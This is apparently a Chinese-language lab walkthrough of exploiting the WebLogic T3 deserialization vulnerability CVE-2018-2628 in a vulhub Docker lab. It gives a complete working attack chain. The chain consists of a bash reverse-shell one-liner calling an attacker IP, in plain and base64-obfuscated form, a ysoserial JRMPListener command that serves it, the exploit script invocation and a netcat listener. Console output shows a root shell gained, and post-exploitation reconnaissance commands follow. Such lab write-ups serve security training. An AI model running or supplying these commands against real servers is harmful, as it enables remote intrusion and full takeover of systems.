【weblogic】协议反序列化漏洞
WebLogic 控制台默认开放的 7001 端口 是攻击起点。该端口会默认开启 T3 协议服务,这是 Oracle 为 WebLogic 定制的用于服务间通信的高性能协议。
T3 协议实现了 Java 的 RMI(远程方法调用) 机制,用于在 WebLogic 服务器与其他 Java 客户端之间传输序列化对象数据。问题在于,T3 协议在处理这些数据时,会对其进行反序列化操作。
漏洞的核心在于,WebLogic 的 WLS核心组件 在反序列化由 T3 协议传输的数据时,没有进行充分的安全校验。这个反序列化过程的缺陷是触发漏洞的根本原因。
攻击者可以精心构造恶意的 T3 协议数据包,并发送至目标的 7001 端口。当 WebLogic 服务器接收到这些数据并尝试反序列化时,就会执行其中嵌入的恶意代码。成功利用此漏洞,攻击者可以直接在目标服务器上获得执行命令的权限,从而完全控制服务器。
登录虚拟机启动docker和启动相关靶场
[root@localhost ~]systemctl start docker
[root@localhost ~]cd /var/local/soft/vulhub-master/weblogic
[root@localhost weblogic]ls
CVE-2017-10271 CVE-2018-2894 CVE-2023-21839 weak_password
CVE-2018-2628 CVE-2020-14882 ssrf
[root@localhost weblogic]cd CVE-2018-2628
[root@localhost CVE-2018-2628]docker-compose up -d
[+] Running 2/2✔ Network cve-2018-2628_default Created 0.7s ✔ Container cve-2018-2628-weblogic-1 Started 3.0s
[root@localhost CVE-2018-2628]#
1. Bash反弹Shell命令,用于建立从目标主机到攻击机的反向TCP连接。
bash -i >& /dev/tcp/192.168.142.162/7777 0>&1部分 | 作用 | 技术细节 |
|---|---|---|
| 启动交互式Bash |
|
| 合并输出流 | 将标准输出(stdout)和标准错误(stderr)合并 |
| 建立TCP连接 | Bash内置功能,无需实际文件,直接创建TCP套接字 |
| 重定向输入流 | 将标准输入(stdin)重定向到标准输出(即TCP连接) |
用反弹连接base64 payload生成工具,生成

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}需要用到ysoserial.jar包和命令:(ip是自身作为攻击机的ip)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761CommonsCollections1“bash -i >& /dev/tcp/192.168.142.135/7777 0>&1”
部分 | 作用 |
|---|---|
| 使用 Java 运行 ysoserial 工具包 |
| 启动 JRMP(Java Remote Method Protocol)监听服务 |
| 监听的端口号(可自定义) |
| 使用的反序列化利用链(Payload) |
| 要在目标服务器上执行的反弹 Shell 命令 |

拼接成以下这段话,只要有服务器连8761端口,就会建立反弹连接

启动第二个kali终端,接收来自目标系统的连接,等待目标服务器主动连接回来(反向 Shell)

开启第三个kali终端,该目录下执行
python2 cve-2018-2628-exp.py 192.168.142.133 7001 ysoserial.jar
192.168.142.162 8761 JRMPClient
参数 | 值 | 作用 |
|---|---|---|
| - | 漏洞利用脚本(用于触发WebLogic反序列化漏洞) |
目标IP |
| 存在漏洞的WebLogic服务器IP地址(我这里是centos) |
目标端口 |
| WebLogic默认的T3协议端口 |
ysoserial路径 |
| 反序列化攻击工具包路径 |
攻击机IP |
| 运行JRMPListener的Kali攻击机IP |
JRMP端口 |
| 攻击机监听的JRMP服务端口 |
Payload类型 |
| 指定使用JRMP协议的反序列化攻击载荷 |
kali1回显
┌──(root?kali)-[~/weblogic-exp]
└─# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
* Opening JRMP listener on 8761
Have connection from /192.168.142.131:54796
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54798
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54804
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54808
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
kali2回显
┌──(root㉿kali)-[~]
└─# nc -lvp 7777
listening on [any] 7777 ...
192.168.142.131: inverse host lookup failed: Unknown host
connect to [192.168.142.135] from (UNKNOWN) [192.168.142.131] 53646
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@9e33f190c7df:~/Oracle/Middleware/user_projects/domains/base_domain# 目标服务器成功反弹 Shell 到 7777 端口,获得了目标服务器的 Shell 控制权
现在可以在这个 Shell 中执行以下命令:
信息收集命令
# 查看系统信息 uname -a cat /etc/issue
# 查看网络配置 ip addr netstat -tulnp
# 查看进程和服务 ps aux
kali3回显
┌──(root㉿kali)-[~/weblogic-exp]
└─# python2 cve-2018-2628-exp.py 192.168.142.131 7001 ysoserial.jar 192.168.142.135 8761 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar ysoserial.jar JRMPClient 192.168.142.135:8761 > payload.out
payload: aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707738000a556e6963617374526566000f3139322e3136382e3134322e31333500002239ffffffff92a70d3500000000000000000000000000000078
这里看到与目标WebLogic服务器建立连接,恶意载荷已发送并收到响应,成了完整的JRMPClient反序列化数据。
